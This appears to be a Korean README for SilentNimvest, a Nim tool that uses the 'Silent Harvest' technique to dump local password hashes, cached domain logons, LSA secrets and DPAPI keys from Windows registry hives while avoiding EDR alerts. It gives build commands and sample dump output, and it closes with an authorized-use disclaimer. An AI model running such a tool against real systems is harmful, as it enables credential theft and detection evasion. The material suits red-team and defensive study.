frkngksl/silentnimvestsud0Ru의 SAM/SECURITY Hives 방법(일명 SilentHarvest)을 통한 자격 증명 덤프를 위한 Nim 구현
기본적으로 SilentNimvest는 Nim으로 작성된 SAM 및 보안 하이브 파서입니다. SilentNimvest는 Silent Harvest 기법을 사용하여 이러한 하이브 아래의 키를 읽습니다. 이 기법을 사용하면 SYSTEM 수준 권한이 아닌, SeBackupPrivilege를 활성화한 일반 Administrator 계정(NtOpenKeyEx 플래그 덕분)이 RegQueryMultipleValuesW라는 EDR 경고를 덜 받는 레지스트리 읽기 API를 사용하여 로컬 사용자의 해시, 캐시된 도메인 로그온 정보, LSA Secrets 및 이러한 하이브에서 얻을 수 있는 기타 비밀을 덤프할 수 있습니다.
전체 프로젝트는 sud0ru의 연구를 기반으로 합니다.
다음 명령어로 소스 코드를 직접 컴파일할 수 있습니다:
nim c -d:release -o:SilentNimvest.exe Main.nim
만약 "cannot open file" 오류가 발생하면 필요한 의존성을 설치해야 합니다:
nimble install winim nimcrypto checksums des
SilentNimvest는 관리자 권한 터미널에서 추가 매개변수 없이 직접 실행할 수 있습니다.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
승인된 보안 테스트에만 사용하십시오. 명시적 허가 없이 시스템에 이 도구를 오용하는 것은 불법입니다.